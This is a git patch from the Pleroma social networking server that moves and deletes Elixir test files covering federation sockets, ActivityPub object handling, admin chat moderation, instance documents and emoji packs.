Pleroma.Web.FedSockets.SocketInfo + + describe "uri_for_origin" do + test "provides the fed_socket URL given the origin information" do + endpoint = "example.com:4000" + assert FedSockets.uri_for_origin(endpoint) =~ "ws://" + assert FedSockets.uri_for_origin(endpoint) =~ endpoint + end + end + + describe "origin" do + test "will provide the origin field given a url" do + endpoint = "example.com:4000" + assert SocketInfo.origin("ws://#{endpoint}") == endpoint + assert SocketInfo.origin("http://#{endpoint}") == endpoint + assert SocketInfo.origin("https://#{endpoint}") == endpoint + end + + test "will proide the origin field given a uri" do + endpoint = "example.com:4000" + uri = URI.parse("http://#{endpoint}") + + assert SocketInfo.origin(uri) == endpoint + end + end + + describe "touch" do + test "will update the TTL" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + Process.sleep(2) + touched_socket = SocketInfo.touch(socket) + + assert socket.connected_until < touched_socket.connected_until + end + end + + describe "expired?" do + setup do + start_supervised( + {Pleroma.Web.FedSockets.Supervisor, + [ + ping_interval: 8, + connection_duration: 5, + rejection_duration: 5, + fed_socket_rejections: [lazy: true] + ]} + ) + + :ok + end + + test "tests if the TTL is exceeded" do + endpoint = "example.com:4000" + socket = SocketInfo.build("ws://#{endpoint}") + refute SocketInfo.expired?(socket) + Process.sleep(10) + + assert SocketInfo.expired?(socket) + end + end + + describe "creating outgoing connection records" do + test "can be passed a string" do + assert %{conn_pid: :pid, origin: _origin} = SocketInfo.build("example.com:4000", :pid) + end + + test "can be passed a URI" do + uri = URI.parse("http://example.com:4000") + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build(uri, :pid) + assert origin =~ "example.com:4000" + end + + test "will include the port number" do + assert %{conn_pid: :pid, origin: origin} = SocketInfo.build("http://example.com:4000", :pid) + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{conn_pid: :pid, origin: "example.com:80"} = + SocketInfo.build("http://example.com", :pid) + + assert %{conn_pid: :pid, origin: "example.com:443"} = + SocketInfo.build("https://example.com", :pid) + end + end + + describe "creating incoming connection records" do + test "can be passed a string" do + assert %{pid: _, origin: _origin} = SocketInfo.build("example.com:4000") + end + + test "can be passed a URI" do + uri = URI.parse("example.com:4000") + assert %{pid: _, origin: _origin} = SocketInfo.build(uri) + end + + test "will include the port number" do + assert %{pid: _, origin: origin} = SocketInfo.build("http://example.com:4000") + + assert origin =~ ":4000" + end + + test "will provide the port if missing" do + assert %{pid: _, origin: "example.com:80"} = SocketInfo.build("http://example.com") + assert %{pid: _, origin: "example.com:443"} = SocketInfo.build("https://example.com") + end + end +end diff --git a/test/web/activity_pub/object_validators/article_note_validator_test.exs b/test/web/activity_pub/object_validators/article_note_validator_test.exs deleted file mode 100644 index cc6dab872..000000000 --- a/test/web/activity_pub/object_validators/article_note_validator_test.exs +++ /dev/null @@ -1,35 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidatorTest do - use Pleroma.DataCase - - alias Pleroma.Web.ActivityPub.ObjectValidators.ArticleNoteValidator - alias Pleroma.Web.ActivityPub.Utils - - import Pleroma.Factory - - describe "Notes" do - setup do - user = insert(:user) - - note = %{ - "id" => Utils.generate_activity_id(), - "type" => "Note", - "actor" => user.ap_id, - "to" => [user.follower_address], - "cc" => [], - "content" => "Hellow this is content.", - "context" => "xxx", - "summary" => "a post" - } - - %{user: user, note: note} - end - - test "a basic note validates", %{note: note} do - %{valid?: true} = ArticleNoteValidator.cast_and_validate(note) - end - end -end diff --git a/test/web/activity_pub/transmogrifier/article_handling_test.exs b/test/web/activity_pub/transmogrifier/article_handling_test.exs deleted file mode 100644 index 9b12a470a..000000000 --- a/test/web/activity_pub/transmogrifier/article_handling_test.exs +++ /dev/null @@ -1,75 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.ArticleHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Object.Fetcher - alias Pleroma.Web.ActivityPub.Transmogrifier - - test "Pterotype (Wordpress Plugin) Article" do - Tesla.Mock.mock(fn %{url: "https://wedistribute.org/wp-json/pterotype/v1/actor/-blog"} -> - %Tesla.Env{status: 200, body: File.read!("test/fixtures/tesla_mock/wedistribute-user.json")} - end) - - data = - File.read!("test/fixtures/tesla_mock/wedistribute-create-article.json") |> Jason.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - - object = Object.normalize(data["object"]) - - assert object.data["name"] == "The end is near: Mastodon plans to drop OStatus support" - - assert object.data["summary"] == - "One of the largest platforms in the federated social web is dropping the protocol that it started with." - - assert object.data["url"] == "https://wedistribute.org/2019/07/mastodon-drops-ostatus/" - end - - test "Plume Article" do - Tesla.Mock.mock(fn - %{url: "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-article.json") - } - - %{url: "https://baptiste.gelez.xyz/@/BaptisteGelez"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/baptiste.gelex.xyz-user.json") - } - end) - - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" - ) - - assert object.data["name"] == "This Month in Plume: June 2018" - - assert object.data["url"] == - "https://baptiste.gelez.xyz/~/PlumeDevelopment/this-month-in-plume-june-2018/" - end - - test "Prismo Article" do - Tesla.Mock.mock(fn %{url: "https://prismo.news/@mxb"} -> - %Tesla.Env{ - status: 200, - body: File.read!("test/fixtures/tesla_mock/https___prismo.news__mxb.json") - } - end) - - data = File.read!("test/fixtures/prismo-url-map.json") |> Jason.decode!() - - {:ok, %Activity{data: data, local: false}} = Transmogrifier.handle_incoming(data) - object = Object.normalize(data["object"]) - - assert object.data["url"] == "https://prismo.news/posts/83" - end -end diff --git a/test/web/activity_pub/transmogrifier/video_handling_test.exs b/test/web/activity_pub/transmogrifier/video_handling_test.exs deleted file mode 100644 index 69c953a2e..000000000 --- a/test/web/activity_pub/transmogrifier/video_handling_test.exs +++ /dev/null @@ -1,93 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.ActivityPub.Transmogrifier.VideoHandlingTest do - use Oban.Testing, repo: Pleroma.Repo - use Pleroma.DataCase - - alias Pleroma.Activity - alias Pleroma.Object - alias Pleroma.Object.Fetcher - alias Pleroma.Web.ActivityPub.Transmogrifier - - setup_all do - Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) - :ok - end - - test "skip converting the content when it is nil" do - data = - File.read!("test/fixtures/tesla_mock/framatube.org-video.json") - |> Jason.decode!() - |> Kernel.put_in(["object", "content"], nil) - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["content"] == nil - end - - test "it converts content of object to html" do - data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["content"] == - "<p>Après avoir mené avec un certain succès la campagne « Dégooglisons Internet » en 2014, l’association Framasoft annonce fin 2019 arrêter progressivement un certain nombre de ses services alternatifs aux GAFAM. Pourquoi ?</p><p>Transcription par @aprilorg ici : <a href=\"https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft\">https://www.april.org/deframasoftisons-internet-pierre-yves-gosset-framasoft</a></p>" - end - - test "it remaps video URLs as attachments if necessary" do - {:ok, object} = - Fetcher.fetch_object_from_id( - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - ) - - assert object.data["url"] == - "https://peertube.moe/videos/watch/df5f464b-be8d-46fb-ad81-2d4c2d1630e3" - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "name" => nil, - "url" => [ - %{ - "href" => - "https://peertube.moe/static/webseed/df5f464b-be8d-46fb-ad81-2d4c2d1630e3-480.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - data = File.read!("test/fixtures/tesla_mock/framatube.org-video.json") |> Jason.decode!() - - {:ok, %Activity{local: false} = activity} = Transmogrifier.handle_incoming(data) - - assert object = Object.normalize(activity, false) - - assert object.data["attachment"] == [ - %{ - "type" => "Link", - "mediaType" => "video/mp4", - "name" => nil, - "url" => [ - %{ - "href" => - "https://framatube.org/static/webseed/6050732a-8a7a-43d4-a6cd-809525a1d206-1080.mp4", - "mediaType" => "video/mp4", - "type" => "Link" - } - ] - } - ] - - assert object.data["url"] == - "https://framatube.org/videos/watch/6050732a-8a7a-43d4-a6cd-809525a1d206" - end -end diff --git a/test/web/admin_api/controllers/chat_controller_test.exs b/test/web/admin_api/controllers/chat_controller_test.exs deleted file mode 100644 index bd4c9c9d1..000000000 --- a/test/web/admin_api/controllers/chat_controller_test.exs +++ /dev/null @@ -1,219 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.ChatControllerTest do - use Pleroma.Web.ConnCase - - import Pleroma.Factory - - alias Pleroma.Chat - alias Pleroma.Chat.MessageReference - alias Pleroma.Config - alias Pleroma.ModerationLog - alias Pleroma.Object - alias Pleroma.Repo - alias Pleroma.Web.CommonAPI - - defp admin_setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "DELETE /api/pleroma/admin/chats/:id/messages/:message_id" do - setup do: admin_setup() - - test "it deletes a message from the chat", %{conn: conn, admin: admin} do - user = insert(:user) - recipient = insert(:user) - - {:ok, message} = - CommonAPI.post_chat_message(user, recipient, "Hello darkness my old friend") - - object = Object.normalize(message, false) - - chat = Chat.get(user.id, recipient.ap_id) - recipient_chat = Chat.get(recipient.id, user.ap_id) - - cm_ref = MessageReference.for_chat_and_object(chat, object) - recipient_cm_ref = MessageReference.for_chat_and_object(recipient_chat, object) - - result = - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response_and_validate_schema(200) - - log_entry = Repo.one(ModerationLog) - - assert ModerationLog.get_log_entry_message(log_entry) == - "@#{admin.nickname} deleted chat message ##{cm_ref.id}" - - assert result["id"] == cm_ref.id - refute MessageReference.get_by_id(cm_ref.id) - refute MessageReference.get_by_id(recipient_cm_ref.id) - assert %{data: %{"type" => "Tombstone"}} = Object.get_by_id(object.id) - end - end - - describe "GET /api/pleroma/admin/chats/:id/messages" do - setup do: admin_setup() - - test "it paginates", %{conn: conn} do - user = insert(:user) - recipient = insert(:user) - - Enum.each(1..30, fn _ -> - {:ok, _} = CommonAPI.post_chat_message(user, recipient, "hey") - end) - - chat = Chat.get(user.id, recipient.ap_id) - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) - - assert length(result) == 20 - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages?max_id=#{List.last(result)["id"]}") - |> json_response_and_validate_schema(200) - - assert length(result) == 10 - end - - test "it returns the messages for a given chat", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - third_user = insert(:user) - - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, third_user, "hey") - {:ok, _} = CommonAPI.post_chat_message(user, other_user, "how are you?") - {:ok, _} = CommonAPI.post_chat_message(other_user, user, "fine, how about you?") - - chat = Chat.get(user.id, other_user.ap_id) - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response_and_validate_schema(200) - - result - |> Enum.each(fn message -> - assert message["chat_id"] == chat.id |> to_string() - end) - - assert length(result) == 3 - end - end - - describe "GET /api/pleroma/admin/chats/:id" do - setup do: admin_setup() - - test "it returns a chat", %{conn: conn} do - user = insert(:user) - other_user = insert(:user) - - {:ok, chat} = Chat.get_or_create(user.id, other_user.ap_id) - - result = - conn - |> get("/api/pleroma/admin/chats/#{chat.id}") - |> json_response_and_validate_schema(200) - - assert result["id"] == to_string(chat.id) - assert %{} = result["sender"] - assert %{} = result["receiver"] - refute result["account"] - end - end - - describe "unauthorized chat moderation" do - setup do - user = insert(:user) - recipient = insert(:user) - - {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") - object = Object.normalize(message, false) - chat = Chat.get(user.id, recipient.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - %{conn: conn} = oauth_access(["read:chats", "write:chats"]) - %{conn: conn, chat: chat, cm_ref: cm_ref} - end - - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ - conn: conn, - chat: chat, - cm_ref: cm_ref - } do - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response(403) - - assert MessageReference.get_by_id(cm_ref.id) == cm_ref - end - - test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response(403) - end - - test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}") - |> json_response(403) - end - end - - describe "unauthenticated chat moderation" do - setup do - user = insert(:user) - recipient = insert(:user) - - {:ok, message} = CommonAPI.post_chat_message(user, recipient, "Yo") - object = Object.normalize(message, false) - chat = Chat.get(user.id, recipient.ap_id) - cm_ref = MessageReference.for_chat_and_object(chat, object) - - %{conn: build_conn(), chat: chat, cm_ref: cm_ref} - end - - test "DELETE /api/pleroma/admin/chats/:id/messages/:message_id", %{ - conn: conn, - chat: chat, - cm_ref: cm_ref - } do - conn - |> put_req_header("content-type", "application/json") - |> delete("/api/pleroma/admin/chats/#{chat.id}/messages/#{cm_ref.id}") - |> json_response(403) - - assert MessageReference.get_by_id(cm_ref.id) == cm_ref - end - - test "GET /api/pleroma/admin/chats/:id/messages", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}/messages") - |> json_response(403) - end - - test "GET /api/pleroma/admin/chats/:id", %{conn: conn, chat: chat} do - conn - |> get("/api/pleroma/admin/chats/#{chat.id}") - |> json_response(403) - end - end -end diff --git a/test/web/admin_api/controllers/instance_document_controller_test.exs b/test/web/admin_api/controllers/instance_document_controller_test.exs deleted file mode 100644 index 5f7b042f6..000000000 --- a/test/web/admin_api/controllers/instance_document_controller_test.exs +++ /dev/null @@ -1,106 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.AdminAPI.InstanceDocumentControllerTest do - use Pleroma.Web.ConnCase, async: true - import Pleroma.Factory - alias Pleroma.Config - - @dir "test/tmp/instance_static" - @default_instance_panel ~s(<p>Welcome to <a href="https://pleroma.social" target="_blank">Pleroma!</a></p>) - - setup do - File.mkdir_p!(@dir) - on_exit(fn -> File.rm_rf(@dir) end) - end - - setup do: clear_config([:instance, :static_dir], @dir) - - setup do - admin = insert(:user, is_admin: true) - token = insert(:oauth_admin_token, user: admin) - - conn = - build_conn() - |> assign(:user, admin) - |> assign(:token, token) - - {:ok, %{admin: admin, token: token, conn: conn}} - end - - describe "GET /api/pleroma/admin/instance_document/:name" do - test "return the instance document url", %{conn: conn} do - conn = get(conn, "/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn, 200) - assert String.contains?(content, @default_instance_panel) - end - - test "it returns 403 if requested by a non-admin" do - non_admin_user = insert(:user) - token = insert(:oauth_token, user: non_admin_user) - - conn = - build_conn() - |> assign(:user, non_admin_user) - |> assign(:token, token) - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert json_response(conn, :forbidden) - end - - test "it returns 404 if the instance document with the given name doesn't exist", %{ - conn: conn - } do - conn = get(conn, "/api/pleroma/admin/instance_document/1234") - - assert json_response_and_validate_schema(conn, 404) - end - end - - describe "PATCH /api/pleroma/admin/instance_document/:name" do - test "uploads the instance document", %{conn: conn} do - image = %Plug.Upload{ - content_type: "text/html", - path: Path.absname("test/fixtures/custom_instance_panel.html"), - filename: "custom_instance_panel.html" - } - - conn = - conn - |> put_req_header("content-type", "multipart/form-data") - |> patch("/api/pleroma/admin/instance_document/instance-panel", %{ - "file" => image - }) - - assert %{"url" => url} = json_response_and_validate_schema(conn, 200) - index = get(build_conn(), url) - assert html_response(index, 200) == "<h2>Custom instance panel</h2>" - end - end - - describe "DELETE /api/pleroma/admin/instance_document/:name" do - test "deletes the instance document", %{conn: conn} do - File.mkdir!(@dir <> "/instance/") - File.write!(@dir <> "/instance/panel.html", "Custom instance panel") - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert html_response(conn_resp, 200) == "Custom instance panel" - - conn - |> delete("/api/pleroma/admin/instance_document/instance-panel") - |> json_response_and_validate_schema(200) - - conn_resp = - conn - |> get("/api/pleroma/admin/instance_document/instance-panel") - - assert content = html_response(conn_resp, 200) - assert String.contains?(content, @default_instance_panel) - end - end -end diff --git a/test/web/fed_sockets/fed_registry_test.exs b/test/web/fed_sockets/fed_registry_test.exs deleted file mode 100644 index 19ac874d6..000000000 --- a/test/web/fed_sockets/fed_registry_test.exs +++ /dev/null @@ -1,124 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets.FedRegistryTest do - use ExUnit.Case - - alias Pleroma.Web.FedSockets - alias Pleroma.Web.FedSockets.FedRegistry - alias Pleroma.Web.FedSockets.SocketInfo - - @good_domain "http://good.domain" - @good_domain_origin "good.domain:80" - - setup do - start_supervised({Pleroma.Web.FedSockets.Supervisor, []}) - build_test_socket(@good_domain) - Process.sleep(10) - - :ok - end - - describe "add_fed_socket/1 without conflicting sockets" do - test "can be added" do - Process.sleep(10) - assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) - assert origin == "good.domain:80" - end - - test "multiple origins can be added" do - build_test_socket("http://anothergood.domain") - Process.sleep(10) - - assert {:ok, %SocketInfo{origin: origin_1}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert {:ok, %SocketInfo{origin: origin_2}} = - FedRegistry.get_fed_socket("anothergood.domain:80") - - assert origin_1 == "good.domain:80" - assert origin_2 == "anothergood.domain:80" - assert FedRegistry.list_all() |> Enum.count() == 2 - end - end - - describe "add_fed_socket/1 when duplicate sockets conflict" do - setup do - build_test_socket(@good_domain) - build_test_socket(@good_domain) - Process.sleep(10) - :ok - end - - test "will be ignored" do - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert origin == "good.domain:80" - - assert FedRegistry.list_all() |> Enum.count() == 1 - end - - test "the newer process will be closed" do - pid_two = build_test_socket(@good_domain) - - assert {:ok, %SocketInfo{origin: origin, pid: pid_one}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert origin == "good.domain:80" - Process.sleep(10) - - refute Process.alive?(pid_two) - - assert FedRegistry.list_all() |> Enum.count() == 1 - end - end - - describe "get_fed_socket/1" do - test "returns missing for unknown hosts" do - assert {:error, :missing} = FedRegistry.get_fed_socket("not_a_dmoain") - end - - test "returns rejected for hosts previously rejected" do - "rejected.domain:80" - |> FedSockets.uri_for_origin() - |> FedRegistry.set_host_rejected() - - assert {:error, :rejected} = FedRegistry.get_fed_socket("rejected.domain:80") - end - - test "can retrieve a previously added SocketInfo" do - build_test_socket(@good_domain) - Process.sleep(10) - assert {:ok, %SocketInfo{origin: origin}} = FedRegistry.get_fed_socket(@good_domain_origin) - assert origin == "good.domain:80" - end - - test "removes references to SocketInfos when the process crashes" do - assert {:ok, %SocketInfo{origin: origin, pid: pid}} = - FedRegistry.get_fed_socket(@good_domain_origin) - - assert origin == "good.domain:80" - - Process.exit(pid, :testing) - Process.sleep(100) - assert {:error, :missing} = FedRegistry.get_fed_socket(@good_domain_origin) - end - end - - def build_test_socket(uri) do - Kernel.spawn(fn -> fed_socket_almost(uri) end) - end - - def fed_socket_almost(origin) do - FedRegistry.add_fed_socket(origin) - - receive do - :close -> - :ok - after - 5_000 -> :timeout - end - end -end diff --git a/test/web/fed_sockets/fetch_registry_test.exs b/test/web/fed_sockets/fetch_registry_test.exs deleted file mode 100644 index 7bd2d995a..000000000 --- a/test/web/fed_sockets/fetch_registry_test.exs +++ /dev/null @@ -1,67 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets.FetchRegistryTest do - use ExUnit.Case - - alias Pleroma.Web.FedSockets.FetchRegistry - alias Pleroma.Web.FedSockets.FetchRegistry.FetchRegistryData - - @json_message "hello" - @json_reply "hello back" - - setup do - start_supervised( - {Pleroma.Web.FedSockets.Supervisor, - [ - ping_interval: 8, - connection_duration: 15, - rejection_duration: 5, - fed_socket_fetches: [default: 10, interval: 10] - ]} - ) - - :ok - end - - test "fetches can be stored" do - uuid = FetchRegistry.register_fetch(@json_message) - - assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) - end - - test "fetches can return" do - uuid = FetchRegistry.register_fetch(@json_message) - task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) - - assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) - Task.await(task) - - assert {:ok, %FetchRegistryData{received_json: received_json}} = - FetchRegistry.check_fetch(uuid) - - assert received_json == @json_reply - end - - test "fetches are deleted once popped from stack" do - uuid = FetchRegistry.register_fetch(@json_message) - task = Task.async(fn -> FetchRegistry.register_fetch_received(uuid, @json_reply) end) - Task.await(task) - - assert {:ok, %FetchRegistryData{received_json: received_json}} = - FetchRegistry.check_fetch(uuid) - - assert received_json == @json_reply - assert {:ok, @json_reply} = FetchRegistry.pop_fetch(uuid) - - assert {:error, :missing} = FetchRegistry.check_fetch(uuid) - end - - test "fetches can time out" do - uuid = FetchRegistry.register_fetch(@json_message) - assert {:error, :waiting} = FetchRegistry.check_fetch(uuid) - Process.sleep(500) - assert {:error, :missing} = FetchRegistry.check_fetch(uuid) - end -end diff --git a/test/web/fed_sockets/socket_info_test.exs b/test/web/fed_sockets/socket_info_test.exs deleted file mode 100644 index db3d6edcd..000000000 --- a/test/web/fed_sockets/socket_info_test.exs +++ /dev/null @@ -1,118 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Web.FedSockets.SocketInfoTest do - use ExUnit.Case - - alias Pleroma.Web.FedSockets - alias Pleroma.Web.FedSockets.SocketInfo - - describe "uri_for_origin" do - test "provides the fed_socket URL given the origin information" do - endpoint = "example.com:4000" - assert FedSockets.uri_for_origin(endpoint) =~ "ws://" - assert FedSockets.uri_for_origin(endpoint) =~ endpoint - end - end - - describe "origin" do - test "will provide the origin field given a url" do - endpoint = "example.com:4000" - assert SocketInfo.origin("ws://#{endpoint}") == endpoint - assert SocketInfo.origin("http://#{endpoint}") == endpoint - assert SocketInfo.origin("https://#{endpoint}") == endpoint - end - - test "will proide the origin field given a uri" do - endpoint = "example.com:4000" - uri = URI.parse("http://#{endpoint}") - - assert SocketInfo.origin(uri) == endpoint - end - end - - describe "touch" do - test "will update the TTL" do - endpoint = "example.com:4000" - socket = SocketInfo.build("ws://#{endpoint}") - Process.sleep(2) - touched_socket = SocketInfo.touch(socket) - - assert socket.connected_until < touched_socket.connected_until - end - end - - describe "expired?" do - setup do - start_supervised( - {Pleroma.Web.FedSockets.Supervisor, - [ - ping_interval: 8, - connection_duration: 5, - rejection_duration: 5, - fed_socket_rejections: [lazy: true] - ]} - ) - - :ok - end - - test "tests if the TTL is exceeded" do - endpoint = "example.com:4000" - socket = SocketInfo.build("ws://#{endpoint}") - refute SocketInfo.expired?(socket) - Process.sleep(10) - - assert SocketInfo.expired?(socket) - end - end - - describe "creating outgoing connection records" do - test "can be passed a string" do - assert %{conn_pid: :pid, origin: _origin} = SocketInfo.build("example.com:4000", :pid) - end - - test "can be passed a URI" do - uri = URI.parse("http://example.com:4000") - assert %{conn_pid: :pid, origin: origin} = SocketInfo.build(uri, :pid) - assert origin =~ "example.com:4000" - end - - test "will include the port number" do - assert %{conn_pid: :pid, origin: origin} = SocketInfo.build("http://example.com:4000", :pid) - - assert origin =~ ":4000" - end - - test "will provide the port if missing" do - assert %{conn_pid: :pid, origin: "example.com:80"} = - SocketInfo.build("http://example.com", :pid) - - assert %{conn_pid: :pid, origin: "example.com:443"} = - SocketInfo.build("https://example.com", :pid) - end - end - - describe "creating incoming connection records" do - test "can be passed a string" do - assert %{pid: _, origin: _origin} = SocketInfo.build("example.com:4000") - end - - test "can be passed a URI" do - uri = URI.parse("example.com:4000") - assert %{pid: _, origin: _origin} = SocketInfo.build(uri) - end - - test "will include the port number" do - assert %{pid: _, origin: origin} = SocketInfo.build("http://example.com:4000") - - assert origin =~ ":4000" - end - - test "will provide the port if missing" do - assert %{pid: _, origin: "example.com:80"} = SocketInfo.build("http://example.com") - assert %{pid: _, origin: "example.com:443"} = SocketInfo.build("https://example.com") - end - end -end -- cgit v1.2.3 From 4c4ea9a3486f824cfba825a176439d50ec54fe95 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 13 Oct 2020 17:10:34 +0300 Subject: changes after rebase --- test/emoji/pack_test.exs | 93 ------ test/pleroma/config/deprecation_warnings_test.exs | 2 +- test/pleroma/emoji/pack_test.exs | 93 ++++++ test/pleroma/user/import_test.exs | 76 +++++ test/pleroma/user/query_test.exs | 37 +++ test/pleroma/utils_test.exs | 15 + .../controllers/emoji_file_controller_test.exs | 357 +++++++++++++++++++++ .../controllers/user_import_controller_test.exs | 235 ++++++++++++++ test/pleroma/web/rich_media/helpers_test.exs | 1 - test/user/import_test.exs | 76 ----- test/user/query_test.exs | 37 --- test/utils_test.exs | 15 - .../controllers/emoji_file_controller_test.exs | 357 --------------------- .../controllers/user_import_controller_test.exs | 235 -------------- 14 files changed, 814 insertions(+), 815 deletions(-) delete mode 100644 test/emoji/pack_test.exs create mode 100644 test/pleroma/emoji/pack_test.exs create mode 100644 test/pleroma/user/import_test.exs create mode 100644 test/pleroma/user/query_test.exs create mode 100644 test/pleroma/utils_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs delete mode 100644 test/user/import_test.exs delete mode 100644 test/user/query_test.exs delete mode 100644 test/utils_test.exs delete mode 100644 test/web/pleroma_api/controllers/emoji_file_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/user_import_controller_test.exs (limited to 'test') diff --git a/test/emoji/pack_test.exs b/test/emoji/pack_test.exs deleted file mode 100644 index 70d1eaa1b..000000000 --- a/test/emoji/pack_test.exs +++ /dev/null @@ -1,93 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emoji.PackTest do - use ExUnit.Case, async: true - alias Pleroma.Emoji.Pack - - @emoji_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - setup do - pack_path = Path.join(@emoji_path, "dump_pack") - File.mkdir(pack_path) - - File.write!(Path.join(pack_path, "pack.json"), """ - { - "files": { }, - "pack": { - "description": "Dump pack", "homepage": "https://pleroma.social", - "license": "Test license", "share-files": true - }} - """) - - {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack") - - on_exit(fn -> - File.rm_rf!(pack_path) - end) - - {:ok, pack: pack} - end - - describe "add_file/4" do - test "add emojies from zip file", %{pack: pack} do - file = %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/fixtures/emojis.zip") - } - - {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) - - assert updated_pack.files == %{ - "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", - "auroraborealis" => "auroraborealis.png", - "baby_in_a_box" => "1000px/baby_in_a_box.png", - "bear" => "1000px/bear.png", - "bear-128" => "128px/bear-128.png" - } - - assert updated_pack.files_count == 5 - end - end - - test "returns error when zip file is bad", %{pack: pack} do - file = %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/instance_static/emoji/test_pack/blank.png") - } - - assert Pack.add_file(pack, nil, nil, file) == {:error, :einval} - end - - test "returns pack when zip file is empty", %{pack: pack} do - file = %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/fixtures/empty.zip") - } - - {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) - assert updated_pack == pack - end - - test 